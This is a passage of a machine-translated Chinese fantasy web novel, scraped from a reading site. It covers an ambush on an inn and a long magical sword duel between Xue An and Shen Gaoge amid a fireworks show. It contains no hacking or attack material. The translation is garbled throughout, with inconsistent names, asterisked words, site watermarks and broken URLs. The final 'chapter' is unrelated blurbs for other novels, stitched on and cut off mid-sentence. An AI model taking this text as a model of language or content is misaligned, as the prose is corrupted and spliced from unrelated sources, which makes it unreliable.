    Si Mingqi led the group out of the hotel, and then winked at everyone behind him.


    In an instant, this group of people merged into the vast crowd and disappeared.


    After an hour, they will meet again in front of the hotel where Xue An is staying.


    And it is at this time, in that company''s home.


    Su Fei walked out of the room in shock and contentment, behind him was a **** slaughterhouse.


    "Well, the goods you are looking for this time are not bad, but they are too casual, and they are all dead if they are not fun! Next time, remember to find someone who is strong!" Su Fei said calmly.


    "Yes! I will pay attention next time." Lian Yu Ting hurriedly lowered his head in response.


    Su Fei stretched out in shock, and then shuddered slightly. The blood and stains on his body were all shaken down, and his usual tidiness was restored.


    "How is it? Did you find the person you were looking for?"


    "Back to Young Master Su, I have found it, and that person lives in an inn in Yangcheng County!"


    Speaking of this, Lian Yuting gritted his teeth secretly.


    With his connections and relationships, investigating the whereabouts of a person in this city couldn''t be easier.


    And he also knew at the same time that the person he was looking for was the boy who was with Mo Changhong today.


    But he didn''t tell Su Fei these things to surprise.


    Because in his opinion, what if the people from the Medicinal Food Shop participated in this matter?


    Now that the Shen family makes a move, no matter who it is, they have to retire.


    At this moment, the ground under his feet trembled suddenly, and then a sword light suddenly arrived like a lonely shadow under the moon.


    After showing up, it was Shen Gaoge.


    "Are you ready?" he said coldly.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2395： Young people dont be too will

    "Invincible, start with Dad Xianzun (!


    "Damn, why are so many people today?" Si Guangzhong spat viciously and squeezed through the crowd with great effort.


    Because of the excessive force, many people glared at him.


    Si Guangzhong did not show any weakness, "What do you look at? Look again carefully and pull out your eyes!"


    "Young man, don''t speak too capriciously!" An old man said dissatisfiedly.


    "I''m so self-willed to speak, what''s the matter? You are immortal, what are you, dare to teach this young master?"


    Si Guangzhong was already suffocating in his heart, so he sneered directly after hearing the old man''s words.


    The old man snorted coldly, "Really lack of education!"


    "Hehe, you fucking..."


    Si Guangzhong just wanted to say something more, just at this moment he felt that the evil wind behind his head was not good, and he just wanted to dodge.


    But at this moment, two people leaned forward intentionally or unintentionally, just blocking his movements.


    Because of this delay, Si Guangzhong took a firm slap in the face.


    Snapped!


    Accompanied by a loud and crisp sound, this slap was slapped on the back of Si Guangzhong''s head.


    He staggered, so he didn''t fall to the ground.


    The pain and humiliation made him angry.


    "Who the **** beat..."


    Before I could say the words behind him, he felt that he had been kicked severely on the knee.


    With a plop, he knelt to the ground involuntarily.


    Immediately afterwards, there were punches and kicks like gusts of wind and rain.


    Si Guangzhong was crushed to the ground, unable to move at all.


    You must know that Si Guangzhong at this moment only relied on his father''s special talent to regain his physical body, and his cultivation level had fallen to the bottom.


    So in the face of these sneak attacks that didn''t talk about the regulations or reason at all, he had no resistance at all.


    But for a while, he was beaten to a bruise and swollen face, bleeding straight out of his nose and eyes.


    Even so, Si Guangzhong was still not convinced, struggling hard, trying to stand up.


    At this moment, a foot slammed heavily on his face, pressing down forcefully.


    Huh!


    Si Guangzhong heard that his newly grown cheek bone broke apart again.


    That''s it!


    He sighed with infinite sadness in his heart.


    What''s wrong with myself during this period of time?


    Why is it so unlucky to be beaten everywhere?


    Just as he was lamenting, an old and cold voice came in his ear.


    "Young man, I reminded you not to be too self-willed, why didn''t you listen? It''s all right now, have you been taught a lesson?"


    Si Guangzhong struggled to open his swollen eyes and looked up, only to see the old man stepping on his head with one foot and looking at him with a smile.


    Behind the old man, there were dozens of men in Tsing Yi faintly.


    Si Guangzhong moved in his heart, this old man is obviously not easy!


    But he is also the young master of the Si family anyway, this kind of formation still can''t scare him.


    So he grinned and sneered, "Little master, I''m so self-willed, what can you do?"


    Before the words fell, a cold light flashed in the old man''s eyes, and the foot that was stepping on him was twisted fiercely.


    Boom boom, Si Guangzhong''s cheek bones kept beating like firecrackers, and then he passed out in pain.


    The old man raised his foot and said coldly: "Take this kid aside to take care of him. It will be the fireworks display at the fair soon, and there should be no trouble at this time!"


    "Yes!"


    Several people immediately came forward, dragged Si Guangzhong aside, and then took care of him.


    The old man once again quietly hid in the crowd, disappearing.


    The crowds on the street are getting more and more turbulent, and countless people want to see the fireworks show just before the start of the market.


    Such a noise also disturbed An Yan in the hotel. She came to the window and stood beside Xue An, and said in surprise.


    "Why is it so lively outside?"


    Xue An smiled faintly, "This is a firework show, which started ten days before the start of the market, and it became more lively and lively every time!"


    "Oh! How come there are so many monks? Haven''t they seen fireworks?"


    Cha Wenliang also came to the window of the hall at this time and said with a smile.


    "This firework is different from ordinary fireworks. It is specially made by the Alliance of Pharmacists. It contains a variety of precious medicinal materials. When set off, it can make the surrounding heavens and earth''s spiritual energy pure, which is of great benefit to people''s cultivation! That''s why! There are so many monks gathered here!"


    "Oh, it turned out to be like this!" An Yan couldn''t help being excited, and said to Xue An.


    "Then let''s go down and join in the fun!"


    Xue An smiled and just wanted to nod, but at this moment, from the corner of his eye, he caught a glimpse of the commotion in the corner of the crowd.


    It was the conflict between the old man and Si Guangzhong.


    Although the old man''s men tried their best to suppress the scale of the conflict and use a human wall to block it, they still couldn''t hide from Xue An''s eyes.


    Xue An was taken aback, because with his sharp eyes he saw that the one lying on the ground being dragged away was not Si Guangzhong and who was it?


    But why did he appear here too? Where is his brother Siming Qi?


    With a move in Xue An''s heart, Xuan even spread his divine mind silently, covering several blocks around him.


    Although many streets in Yangcheng County have secret techniques to cover the prying eyes of God, how could that be Xue An''s opponent.


    So soon, the landscape of the surrounding blocks came into Xue An''s mind.


    When I noticed that there are many invisible traces converging towards my location.


    Xue An was startled slightly, and a sneer appeared at the corner of his mouth.


    "Yan''er!"


    "Ok?"


    "There will be fireworks displays for the next ten days. Don''t go down today. Go back to your house first!"


    An Yan took a deep look at Xue An, and finally lowered her eyes.


    "oh, I understand now!"


    With that, she turned and went back to her room.


    Xue An raised his hand to lay a few magic circles and sealed the rooms of An Yan and his two daughters.


    Cha Wenliang was taken aback when he saw this, "What''s wrong? Is there anything?"


    Xue An chuckled, "It''s nothing, just a few flies want to come over and join in the fun!"


    Although Xue An said it was very relaxed, Cha Wenliang''s complexion became very serious.


    "Do you need my help?"


    "No, it just happens to be a long night, I will play with them!"


    With that said, UU reading Xue An a little eyebrows, the Fu Bao Xiaolou in the sea of ??knowledge opened, and Lou Yingshi inside was released.


    Although she had not suffered any injuries before, she was extremely weak due to excessive overdraft cultivation, so Xue An put her in the Fubao Xiaolou for cultivation.


    When she was released, Xue An smiled, "You and the genius doctor Cha are waiting here, don''t leave!"


    With that, Xue An stepped forward and disappeared into the hall in an instant.


    When he left, Lou Yingshi understood what was going on and couldn''t help but asked with concern: "Check the genius doctor, is Xiao En Gong really okay?"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on "Favorites" below to record the reading record of this time (Chapter 2395 Young people should not be too willful), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2396： There is a sword across the knee

    Zha Wenliang sighed, "Don''t worry, he is a very thoughtful person. Since he dares to take the initiative to fight, it proves that he has full confidence!"


    Hearing what Cha Wenliang said, Lou Yingshi nodded, but his eyes still floated out of the window involuntarily, his face full of concern.


    At the same time, Xue An appeared in the void above the inn.


    At this moment, the starlight is just right, and several adjacent planets are emitting bright and soft light, shining on the earth like moonlight.


    Xue An moved his fingers to make dozens of complicated seals, and then pushed down.


    In an instant, the entire inn was shrouded in soft light.


    After all this was done, Xue An just sat cross-legged, sitting in the void like this, quietly waiting for the arrival of people.


    Si Mingqi was not aware of Si Guangzhong''s being beaten and everything that happened in the hotel.


    At this moment, he had just walked out of the crowd, came to the front of the hotel, and then looked up at this not-so-notable inn.


    The stars are like washing, and there is silence in the inn.


    A cold smile appeared at the corner of Siming''s mouth.


    At the same time, around him, his subordinates began to emerge one by one.


    In an instant, people had gathered together, but Si Guangzhong was missing.


    Siming Qi frowned slightly, "Where did he go?"


    "I don''t know, we haven''t seen the second young master all the way!"


    "This guy... forget it, don''t wait for him!"


    For Si Mingqi, it was a good thing that Si Guangzhong did not show up, so after he grabbed the little girl with his own hands, he would have nothing to say.


    Therefore, he gave an order, and everyone immediately attacked the hotel silently.


    But they didn''t notice that when they crossed a certain boundary, a faint glow swept over them, and then all the noise was isolated.


    The inn was empty, there was no voice at all, only the candles shining on the windows proved that there were people living here.


    Siming Qi hid in the shadow in the corner, suddenly frowned.


    Because he felt a sense of crisis.


    This feeling is not strong, but lingering like a tarsal maggot.


    "It''s not right, why is it so quiet here?" Someone behind him whispered softly.


    This sentence was like a bolt from the blue, which immediately reminded Siming Qi.


    correct!


    No matter how secluded, this inn shouldn''t be so quiet!


    Could there be a trap here?


    Si Mingqi''s heartbeat accelerated for more than one beat in an instant, and the blood all over his body poured over his head.


    "Quit first!" He was cautious by nature and ordered immediately.


    But when everyone turned their heads, all the way they came had disappeared, replaced by a hazy mist.


    Si Mingqi''s complexion instantly turned pale, because he understood that he was in ambush as expected.


    At this point, he has nothing to do, so he can only say in a deep voice: "Don''t panic, be sure to gather in one place, and then rush into the inn. This is our only way to survive!"


    Hearing his order, the agitated subordinates became a little quieter, and then gathered together back to back, and began to move cautiously towards the lobby of the inn.


    But just a few steps away, the hazy fog suddenly became thick, and instantly drowned everyone''s body.


    Si Mingqi hissed and shouted, "Quickly, catch the people around you immediately!"


    But it was too late. The mist came up so fast that many people felt white before their eyes and fell into a pure white nightmare.


    Siming Qi was horrified.


    Because he can feel very clearly that the people around him are disappearing one by one.


    In the blink of an eye, he was the only one left in the mist.


    "Who are you? If you have the ability to come out and fight with me, what kind of a hero is with these monsters?" Simingqi shouted hysterically.


    The only answer to him was the empty fog.


    This silence was like a silent ridicule, causing Si Mingqi''s heart to gradually fall to the bottom.


    Despair and regret began to breed and spread wildly.


    Because he didn''t even see the opponent''s face, he fell into this terrifying situation, which shows how far he is from the opponent''s strength.


    It''s ridiculous that I thought it was a matter of hand.


    It turns out that the real clown is myself!


    But that was when Siming Qi was panicking.


    suddenly.


    He felt as if there was a flash of light across his eyes.


    The bright light pierced both eyes.


    Then there was a loud rumbling noise, which shook him all within five.


    what happened?


    Siming Qi looked up in horror.


    However, a black crack suddenly appeared in the pure white and flawless mist before, and then the crack expanded rapidly.


    Finally, after a crackling sound, it broke completely.


    The stars are falling again, and everything reappears.


    It wasn''t until then that Siming Qi realized that he had been standing in front of the lobby of the inn.


    And next to him are his men.


    Not waiting for Siming to catch his breath, he saw several glories of brilliance in the distant sky.


    When the leader appeared, it was Shen Gaoge.


    I saw him at this moment, black clothes like ink, face white like jade, eyes like stars, holding a sword in his hand.


    Although just standing there simply, there was a majestic sword intent rising into the sky, and the disturbed sky full of stars trembled.


    Si Mingqi murmured like a groan, "Shen Jia Jianxin!"


    Then he stood there with a pale face, not even daring to move. U U Reading www.uuk��nshu.com


    He understood that the sword that had just cut through the mist was issued by this black-clothed boy.


    But the question is why do people from the Shen family appear here?


    Did they also know about Lou''s family? Come and **** that little girl?


    These thoughts flashed through Si Mingqi''s mind.


    It was at this moment, but seeing Shen Gaoge slowly raising his eyes, coldly looking at the void in the distance, and then speaking in an extremely indifferent tone.


    "Sword intent is good, but it''s a pity that you went the wrong way!"


    "Heh!" A chuckle came from the void, and then Xue An''s figure appeared.


    He is dressed in white, sitting in the void, like a flawless jade in a bottomless black pool.


    It just formed a sharp contrast with the black-clothed Shen Gaoge.


    "Why did I say that I went the wrong way?" Xue An said with a smile.


    "Because a true swordsman never fiddles with the illusion trail just now!"


    Speaking of this, Shen Gaoge took a step forward, seeing sword light in his eyes like water.


    "So based on this alone, you are not my opponent, surrender obediently and go back to me and explain everything clearly, otherwise... kill!"


    Along with his questioning, the majestic sword power spread from his body, causing ripples in the space, and the spear was directed at Xue An in the distance.


    But Xue An lowered his eyes at this moment and chuckled, "My kendo, it''s not your turn to criticize right or wrong!"


    Following the voice, his white jade palm flipped slightly, and the small red sword appeared in his hand, stretched across his knees.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel website, there are no ads in the site, please collect and recommend!


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2397： Go straight to the world

    "Invincible, start with Dad Xianzun (!


    After seeing this small sword, the pupils of Shen Gaoge''s eyes shrank instantly, and his tone became extremely harsh.


    "Sure enough, it is the Jianxin of the Shen Family, and it is also a very high-quality blood heritage. How can such a thing appear in your hands?"


    Xue An smiled slightly, "If I said this was a gift from a friend and before his death, would you believe it?"


    The look on Shen Gaoge''s face instantly became very strange, as if it was annoyed, and it was like a sneer.


    "What do you think?"


    Xue An shook his head and sighed softly: "It shouldn''t be!"


    "Since you know that you won''t, then you can obediently die!"


    Following the voice, Shen Gaoge''s eyes burned with surging sword intent, and then raised his hand to cut out a sword.


    Rumble!


    This sword is really like a Tianhe River venting, heading straight for Xue An with the momentum of Mount Tai.


    In the face of this radiant sword power, the average monk, let alone counterattack, might just kneel down and give in.


    But Xue An just smiled at this, "Good job!"


    As he said, he raised his hand, and the Yin Hong small sword in his hand greeted Shen Gaoge''s sword with a wonderful time and angle.


    On one side is the majestic sword intent, and on the other side is the small red sword that is not full of length.


    This contrast can be described as extremely different.


    At least Su Fei, who had followed Shen Gaoge, was surprised to see this scene, and his face showed a complacency and cheerfulness.


    In his opinion, Xue An had already lost with this sword.


    But what I never expected was that after seeing this sword, Shen Gaoge, who was attacking at full speed, flashed a look of surprise in his eyes.


    Without him.


    It is true that Xue An''s sword is very good in terms of time and angle.


    So much so that he couldn''t help but have a weird feeling that he was actively sending to the edge of the sword.


    However, this feeling only passed by, and immediately he snorted, the sword intent around his body instantly boiled, and the sword light in his hand soared.


    In an instant, this sword light crossed the distance between the two and pierced Xue An''s eyebrows.


    All this happened so fast that everyone had no time to react.


    But even in this inadmissible time, Xue An seemed to have expected it, and the Yin Hong sword in his hand suddenly shifted towards an almost impossible angle.


    And this angle happens to be the weakest point in Shen Gaoge''s sword.


    There was no sound, and even the airflow was not disturbed for half a minute.


    The two swords fought together silently like this.


    But in the next second, Shen Gaoge''s sword power, which had been inflated to the extreme, was like a punctured balloon, and it vented violently.


    Immediately afterwards, the sword light dissipated, and the sword intent fell apart.


    Shen Gaoge snorted and stood back in the void after hundreds of feet of distance. His hands dropped, and then a ray of blood flowed down his left wrist.


    The audience was silent.


    Especially Su Fei, who just thought Xue An was dead, opened his eyes in disbelief, and his face was full of horror.


    How could this guy force Shen Gaoge back in the kendo competition?


    Could it be said that his cultivation of sword intent is higher than that of the Shen family?


    how can that be!


    This series of thoughts flashed through Su Fei''s startled mind, causing his whole body to stand up.


    And the same horror is Siming Qi standing in front of the lobby of the inn.


    At this moment, besides horror, he was more fortunate.


    so far so good!


    Fortunately, I haven''t really started with this boy yet!


    Otherwise, it''s estimated that people like yourself are not enough for others to cut with a single sword.


    Didn''t you see that even the strong of the Shen family were defeated?


    And it was at this moment, but seeing Shen Gaoge slowly raising his head, the sword intent in his eyes was still blazing like fire.


    "What secret technique is this?"


    "Secret skill?" Xue An smiled and shook his head, "This is not a secret skill, it''s just the purest sword technique!"


    Shen Gaoge shook his whole body slightly, "Then what swordsmanship is this?"


    Xue An casually took a sword flower in his hand, and said lightly: "I call this trick a fairy to show the way!"


    "The fairy is showing the way..." Shen Gaoge whispered softly, and his face immediately became solemn.


    "I take back what I just said, your swordsmanship is indeed very good, at least you are unique in the understanding of swordsmanship! But you can''t be my opponent, so I advise you to surrender obediently now, and then go back with me. Make things clear!"


    "In this case, with your kendo talent, as long as you really don''t do anything bad, the owner of the family may be willing to let you go unlawfully, or even let you join the Shen family to become a swordsman!"


    Shen Gaoge said slowly, then looked at Xue An, waiting for his response.


    In his opinion, the conditions he had offered were good enough, but if the white-clothed boy had some eyesight and insight, he would follow his own words.


    But he never expected that after listening to Shen Gaoge''s words, Xue An chuckled, then raised his eyebrows slightly.


    "Listening to what you mean, it seems that I still want to be grateful to your Shen family?"


    "Of course!" Shen Gaoge nodded very naturally, "Know that before this, no outsider had ever been able to touch Shen Jia Jianxin. Even if they did, they would have already died, and you were the first one!"


    The smile on Xue An''s face did not change, but a faint mocking color appeared in his eyes.


    "But what if I don''t want it?"


    Shen Gaoge''s eyes instantly narrowed into a dangerous gap, staring at Xue An coldly, before speaking slowly after a long time.


    "Don''t you really think that you can really defeat me with the sword just now?"


    "Can you, you have to try to know, but if you are a swordsman who doesn''t even have the courage to draw a sword, then it is not a real sword repair, are you right?" Xue An said in a cold tone.


    "That''s right!" Shen Gaoge nodded, "With these words, you are enough to win my respect!"


    As he said, he flipped his right hand, plunged into the void suddenly, and then slowly drew a long sword.


    The sword is three feet and three inches long, and the whole body is simple and unpretentious. Only the blade is faintly shining with stars, like a few pearls embossed on a silver thread, which catches the eye.


    "The name of this sword is Rain Kill. It is the saber I obtained when I was crowned in Chengjian Mountain. I went through 27 battles and never failed! I have not used it for a long time. Today, as a show of respect, Just pull out this sword!"


    With that, Shen Gaoge raised his sword in his hand, bowed his head slightly, and saluted Xue Anyao.


    This is the compliment between Jianxiu before the duel, just like the handshake before the boxing match, proving that you are qualified to be his opponent.


    The look on Xue An''s face also became awe-inspiring, and he got up and gave a salute.


    "The sword in my hand has no name, because she was a gift from an old friend, so I have always kept it by my side!" Xue An said lightly.


    Shen Gaoge was unmoved.


    Respect belongs to respect, but it is impossible for him to give up just because of Xue An''s few words.


    Therefore, after the two sides paid their respects, he suddenly raised his eyes, and the sword in his hand turned into a phantom, slashing the world straight.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2397), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2398： 1 sword lonely than fireworks

    That''s right!


    This sword really seemed to have included the entire world, and it was overwhelmingly powerful.


    Xue An looked solemn and raised his sword to greet him at the same time.


    If Shen Gaoge''s sword seems to destroy the world, then Xue An''s sword is like the Great Wall of Sword Qi that stretches for thousands of miles, blocking all the evil spirits.


    boom!


    The two swords collided in a moment.


    The space shattered in an instant, and the waves aroused crazily spread far away.


    Su Fei, who was standing in the distance, exclaimed in surprise, and immediately dodged away.


    Before he left, he hadn''t forgotten to pull up Lian Yuting, who was already looking silly.


    Even so, they were a little too late, and they were affected by the surplus of sword energy, and they instantly shattered Su Fei''s robes.


    As for Siming Qi and others on the ground, it was even worse.


    Except that Siming Qi was quick to see the opportunity and dodged in a timely manner, which was considered to have saved his life.


    The other Si''s subordinates hardly even had time to hum, they were directly minced into mashed flesh by the leaked sword energy.


    And this is just the beginning.


    But seeing the two people in the sky, there are only two sword lights moving in and out, colliding with each other from time to time, stirring up thousands of waves.


    Si Mingqi, who was watching this scene, felt cold in his heart, and his whole body who was hiding in the corner was shaking into a ball.


    Because he didn''t know when the inn that kept shaking would collapse.


    In fact, if it hadn''t been for the dozens of Yinjue blessings left by Xue An before, the entire inn would have already been shaken by Jianwei.


    Even so, the entire inn was still shining brightly, and it was fighting the aftermath of Jianwei.


    And it was precisely because of the existence of these seals that everything that happened here was suppressed in this inn, and the outside world was totally unknown.


    But at this moment, Shen Gaoge suddenly stood still.


    At this moment, he no longer had the calmness he had just started. Although he was still romantic in black, the black band on the back of his head didn''t know when it was disconnected.


    The black hair was scattered, making him look a little embarrassed.


    He panted slightly, staring at Xue An, who also appeared on the opposite side.


    Xue An is going to be much better than him. Although he has also gone through a thrilling kendo competition, he is still calm and relaxed, lifting weights lightly, and there is not even a trace of wrinkles on his clothes.


    Seeing this scene, Shen Gaoge''s complexion couldn''t help becoming more solemn.


    If the sword at the beginning was because he underestimated the enemy and didn''t use all his strength, then he used all his strength in the fight just now.


    The result was still nothing, and even he was slightly at a disadvantage.


    This is horrible.


    Could it be that he is not the opponent of this white-clothed boy?


    Do not!


    The people of the Shen family, like the sword of the Shen family, never lose!


    At this point, Shen Gaoge''s eyes couldn''t help showing a madness, and then he looked up.


    "Such a good night, wouldn''t it be a pity if it were to be covered up like this?"


    With the voice, but seeing Shen Gaoge step forward, he cut out with a sword.


    boom!


    This sword was slashing on the light curtain that protects the entire inn.


    Unlike the previous Yuwei Sweep, this sword directly acted on the light curtain, and it also made the entire light curtain flicker crazily.


    At the same time, countless stars fell down from the sky and instilled into the light curtain, trying to repair and fight against Shen Gaoge''s sword.


    The light curtain built by Xue An actually corresponds to the stars in the sky, and it is precisely because of this that it is so tough, and at the same time makes the entire inn a world of its own, isolated from the outside world.


    Shen Gaoge was horrified, he never thought that his sword could not smash this layer of enchantment.


    At this time, he also faintly felt the blessing of Xue An from this level of enchantment, and his eyes could not help but show a resolute color.


    "Come again!"


    As he said, he cut out with a single sword.


    boom!


    This sword accurately slashed at the previous position, and the entire light curtain finally groaned overwhelmedly, and then shattered with a click.


    When the light curtain broke, all the information from the outside flooded in like a tide.


    The sound of laughter, conversation, and quarrel mixed together, bringing the whole inn back to the world.


    But in the next second, these sounds almost disappeared.


    Because the crowds on the streets around the inn looked foolishly at the sudden appearance of Xue An and Shen Gaoge in the sky.


    In fact, there are not many people in the sky at this moment, but the two of them are the most eye-catching.


    Because the boiling sword intent on them seemed to boil the sky, making people afraid to look directly.


    "What''s the matter? When did these two sword repairers appear?" someone exclaimed.


    But the old man who had cleaned up Si Guangzhong before was shocked, and then blurted out: "No, get out quickly, these two people have to fight their swords!"


    Before he finished his words, he ran away without hesitation.


    Many men followed closely behind him.


    And their evacuation also caused a commotion among many people around.


    Just at this moment, with the sound of rumbling cannons, fireworks flew into the sky.


    The firework show before the fair officially began.


    Those brilliant and colorful fireworks dazzled the sky strangely.


    Because of the height, these fireworks actually bloom around Xue An and Shen Gaoge''s body. UU reading www. uukanshu.cOM


    The bright fireworks covered many things, and at this moment, Shen Gaoge took a deep breath.


    This breath seemed to swallow the whole world in his belly.


    In a short time, the sky full of stars gathered at the top of Shen Gaoge''s head, and instilled frantically.


    In the blink of an eye, Shen Gaoge''s already tyrannical sword power took a step further, making his eyes full of craziness.


    "Hahahaha, you are proud to be able to force me to use this trick! Go to hell!"


    Shen Gaoge shouted, and then cut out a sword.


    This is a sword more lonely than fireworks.


    It seems to be condensed with billions of stars, bright and unparalleled, but indifferent.


    This kind of strong contrast caused this sword to shake the whole world.


    Above Shen Gaoge''s head, a raging sword intent rose to the sky, like a volcanic eruption, lighting up the entire night sky.


    "This sword..." Someone lost their senses.


    "That boy in white is dead!" Someone sighed lightly.


    At this moment, a beam of brilliance happened to pass through the endless void and flew over Yangcheng County. The veiled woman in the brilliance happened to see this scene and couldn''t help screaming.


    But even she has no time to stop all of this.


    Therefore, she could only watch the sword fall helplessly, her eyes full of sadness and intolerance.


    But at this moment, in front of this sword light that was even more lonely than fireworks, a red lotus suddenly appeared, and then!


    The trembling bloomed.


    The invincible chapters of "Invincible, Starting from the Immortal Daddy" will continue to be updated on the novel network, there are no ads in the site, please collect and recommend!


    I like Invincible, and please collect it from Dad of Xianzun.

 Chapter 2399： Sword Out of Red Lotus

    Chapter 2399 Sword Out Of Red Lotus


    As soon as the red lotus came out, Wan Jian surrendered.


    Even Shen Gaoge''s sword is no exception.


    When the rain killing sword in his hand stabs the red lotus, the red lotus trembles slightly, and then all the petals will wither and float away in an instant.


    But in the next instant, these lotus petals quickly expanded and re-growth into blossoming red lotus.


    Not only that, these red lotuses were also divided into two and two into four, and they proliferated crazily.


    In the blink of an eye, these red lotuses occupied most of the sky, and the number of them formed a dense flower wall.


    Under this barrier, Shen Gaoge''s indomitable sword force had to slow down.


    But the sword power faded, and the majestic sword power accumulated before finally disappeared.


    Seeing this scene, Shen Gaoge had to snorted, and then retreated a hundred feet away. After standing still, he looked at Xue An, who was surrounded by countless red lotus flowers.


    "What kind of sword intent is this?"


    Xue An smiled faintly, "Honglian!"


    With the voice, the countless red lotus undulates like a raging tide, and began to revolve around Xue An.


    Seeing this scene, there was a slight commotion in the audience.


    Those people who thought that Xue An would definitely die before all opened their eyes wide, looking at all this in disbelief.


    Su Fei''s shocked face was so gloomy that it could drip water.


    He almost celebrated the victory just now, but he didn''t expect such a big reversal in the next instant.


    Why is this kid so difficult? Even the masters from the Shen family can''t kill him, which is really damning!


    These thoughts were tumbling in Su Fei''s startled mind, a pair of eyes staring at Xue An in the distant sky, I really wish he would die now.


    Unlike his full anger, the masked woman who rushed to the street far away at the last moment breathed a sigh of relief, and then a pair of eyes looked at Xue An and Honglian next to him with interest. .


    Seriously, she didn''t expect Xue An to survive the sword just now.


    But when she thought of where Xue An came from, the woman couldn''t help but feel relieved.


    "Is this the power of the Chinese nation? Only with the body of the Immortal Venerable, can I forcefully shake at least a quasi-sage-level kendo master?" The woman whispered softly.


    At this moment, a figure appeared not far behind her, and then bowed respectfully.


    "Having seen the Empress!"


    The woman didn''t even turn her head, but said indifferently: "Get up!"


    "Yes!"


    When the visitor raised his head, it was Mo Changhong, the shopkeeper of the Medicinal Food Shop.


    At this moment, although she was calm on the surface, her heart was shocked.


    Although she came late, she also saw the battle just now.


    Xue An''s powerful strength greatly exceeded her expectations.


    But this was not what shocked her the most.


    What shocked her most was the attitude of the Empress.


    You should know that the Empress seldom showed up since she lived in seclusion.


    But this time she came here in person not far away from hundreds of millions of miles, and looking at the appearance and expression just now, she seemed to be very interested in Xue An.


    What is the origin of this boy? Is it so exciting to be able to attract the lady empress to come here in person?


    These thoughts fluctuated in Mo Changhong''s mind.


    At this time, the mysterious empress also gradually calmed down.


    To be honest, if Xue An really died in front of him just now, she would definitely make Shen Gaoge and even the Shen family pay a tragic price.


    And now that after seeing Xue An''s safe and sound, her heart gradually returned to calm, and she took the initiative to cover her figure and breath.


    Because she didn''t want to expose herself now, she wanted to see what height the boy in white could reach.


    At the same time, in the sky, Shen Gaoge''s eyes gleamed with a faint luster.


    The frustration of that sword just now really shakes his sword heart.


    After all, it was because he had accumulated countless sword powers, and took advantage of the time and place to issue the strongest sword.


    As a result, he ended up without a problem, even Xue An didn''t even touch the corner of Xue An''s clothes.


    This was a devastating blow for a sword repairman.


    In fact, if he were to change to another sword repair, he might have already voluntarily conceded and retreated.


    But Shen Gaoge is different.


    He can''t lose, let alone go.


    Because he is the Shen family Jianxiu.


    The Shen family cannot be defeated.


    So he took a deep breath, and after slowly spit it out, Jian Xin, which had been covered with a haze, instantly recovered its clarity.


    Then he slowly raised his hand, Yu Shajian pointed directly at Xue An in the distance.


    "I admit that you are indeed very strong, the kind of strong that I expected, but today, we must fall down, and that person... can only be you!"


    In fact, when the three words of that person were mentioned, Shen Gaoge had disappeared in place.


    When only these four words of you were floating out, Shen Gaoge had already rushed into the red lotus whirlpool.


    That''s right!


    It''s the whirlpool.


    Composed of countless red lotus, a vortex like the sky and the earth.


    Each flower is actually condensed from pure sword intent contains supreme power and murderous aura.


    But in Shen Gaoge''s eyes, none of these seemed to exist, and the sword intent pointed directly at Xue An at the center of the whirlpool.


    Wherever the sword intent passed, any sword intent blocking in front of it would instantly shatter and vanish into nothing.


    In an instant, a long corridor appeared in the red lotus vortex.


    And Xue An seemed to be ignorant of this, standing in the whirlpool, smiling face to face.


    Unconsciously, many people on the ground raised a heart to their throat.


    Because they know that soon there will be another shocking battle.


    The eyes of the empress also became brighter and brighter.


    She wanted to know how Xue An would face another offense from Shen Gaoge next.


    At the same time, Shen Gaoge also passed through the layers of barriers, and approached Xue An, and then raised his hand with a sword.


    This sword didn''t have any fancy, but the sword''s power was like a Tianhe River venting down, rumbling down, crushing all the power, and coming straight to Xue An.


    This is a skillless sword, a pure sword intent competition.


    In such a duel, the strong live and the weak die!


    It''s that simple!


    The corners of Su Fei''s surprised mouth raised again.


    No tricks to play now!


    Take it to death!


    I never expected that at this moment, I saw Xue An stretch out his hand and gently stroked the lotus in front of him.


    This movement was extremely gentle, but it was such a gentle movement that caused countless red lotus around in an instant to crumble and turn into powder.


    In the next second, the sky full of red dust gathered into Xue An''s hands in a turbulent manner, perfectly combined with the small red sword in his hand.


    In the blink of an eye, Yin Hong''s little sword radiated extremely bright light, and its power was so powerful that cracks appeared in the space around the blade.


    (End of this chapter)

 Chapter 2400： Brotherhood

    After Jinyu was reborn, she became the eldest wife of four big brothers [[Yunqi College "Our 2020" Creative Essay Contest] Entry] Shen Mingtang was reborn and married a man who had been thinking about it for a lifetime. She is a splendid pile, a golden fur, and a big soak in a honeypot. As soon as she got married, she was shocked. There are three broken huts, a bunch of younger siblings waiting to be fed, and a lingering sick mother-in-law. Fathers and brothers: "Jiaojiao''er, the food at home is not fragrant, the bed is not soft, and the money is hot? Do you want to marry a poor ghost?" The stepmother rolled her eyes: "The married daughter, the water poured out, don''t want to use her mother''s money to subsidize her husband. Home!" The step-sister laughed: "Sister, your brain is in the womb, and your eyes are covered with lard?" Everyone waited for Shen Mingtang to heal away, and slid back to her family with their tails. However, he found that the days of Shen Mingtang passed the better, the husband and the monarch power overwhelmed the world, the riches and the rich, he was still a strict wife! Even the brothers and sisters who died in previous lives have become big brothers! [Thanks to Mrs. Ke Miaozi for the picture of Jiaoer in the palm of her hand. A Jin likes it very much! ��Zhan Nishino, his little ancestor, sweet and wild ��Shuangqiang Su Shuang, sweet pet without abuse! The entire Yunzhou knows that there is an extra oil bottle in the Ye family, Ning Li. A humble background, ignorant and unskilled. Ning Li, who was reborn, looked at her 17-year-old herself in the mirror and 